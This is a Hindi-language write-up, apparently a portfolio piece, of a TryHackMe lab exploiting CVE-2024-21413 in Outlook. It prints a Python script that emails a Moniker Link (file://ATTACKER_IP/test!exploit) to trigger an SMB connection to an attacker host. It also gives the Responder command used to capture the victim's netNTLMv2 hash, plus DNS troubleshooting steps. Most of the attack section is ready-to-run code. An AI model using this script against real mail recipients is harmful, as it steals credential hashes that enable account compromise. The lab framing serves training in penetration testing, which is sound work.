
CVE-2024-21413 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो HTML ईमेल में Moniker Link का उपयोग करके SMB कनेक्शन ट्रिगर करता है और Responder के माध्यम से netNTLMv2 हैश कैप्चर करता है। यह पेनिट्रेशन टेस्टिंग, Python स्क्रिप्टिंग और नेटवर्क प्रोटोकॉल एनालिसिस कौशल प्रदर्शित करता है।
अवलोकन: एक व्यावहारिक PoC जो HTML ईमेल में Moniker Link के उपयोग को प्रदर्शित करता है ताकि Outlook से SMB कनेक्शन ट्रिगर हो सके, जिससे Responder के माध्यम से पीड़ित के netNTLMv2 हैश को कैप्चर किया जा सके। यह पेनिट्रेशन टेस्टिंग, स्क्रिप्टिंग और नेटवर्क प्रोटोकॉल विश्लेषण में व्यावहारिक कौशल दिखाता है।
file://) वाला HTML ईमेल भेजने के लिए Python स्क्रिप्ट का उपयोग करें।# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124' # THM SMTP server
password = input('Enter attacker email password: ')
html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'
msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))
with smtplib.SMTP(mailserver, 25) as s:
s.ehlo()
s.login(sender, password)
s.sendmail(sender, [receiver], msg.as_string())
print('Email delivered')
टिप: चलाने से पहले ATTACKER_IP और mailserver बदल दें। TryHackMe लैब में, पासवर्ड attacker है।
responder -I ens5
ens5 को अपने नेटवर्क इंटरफ़ेस नाम से बदलें।
/etc/resolv.conf का समस्या निवारणकभी-कभी /etc/resolv.conf में टूटी हुई सिमलिंक के कारण Responder विफल हो जाता है। इसे ठीक करें:
rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf
उजागर कौशल: Linux समस्या निवारण, DNS कॉन्फ़िगरेशन, और क्लाउड/VM वातावरण में टूल्स को अनुकूलित करना।
त्रुटि / Resolv.conf समस्या:`

DNS फिक्स लागू किया गया:

Python ईमेल स्क्रिप्ट:

शोषण वितरण:

पीड़ित का इनबॉक्स:

कैप्चर किया गया पीड़ित हैश:

TryHackMe MonikerLink लैब और CMNatic के मूल PoC से अनुकूलित (GitHub)